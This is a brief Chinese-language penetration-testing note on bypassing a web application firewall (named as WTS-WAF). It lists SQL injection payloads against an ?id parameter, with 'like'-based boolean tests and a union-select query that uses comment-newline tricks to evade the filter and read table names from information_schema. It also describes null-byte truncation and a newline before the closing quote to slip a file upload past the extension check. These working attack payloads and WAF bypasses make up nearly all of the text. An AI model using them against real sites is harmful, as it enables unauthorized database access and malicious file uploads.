sql注入

注入点：?id=13

payload:

?id=13'+and+'1'='1--+ 拦截

?id=13'+and+1+like+1--+ 不拦截，正常回显

?id=13'+and+1+like+2--+ 不拦截，回显异常判断存在注入

?id=-13' union select--%0a1,2,3,4,5,(select--%0atable_name from information_schema.tables where table_schema="数据库名" limit 2,1)-- 继续注入

文件上传

上面是上传后的文件名，使用00截断，下面是WTS-WAF检测的文件名，可以通过在后面的双引号前面换行来绕过后缀名检测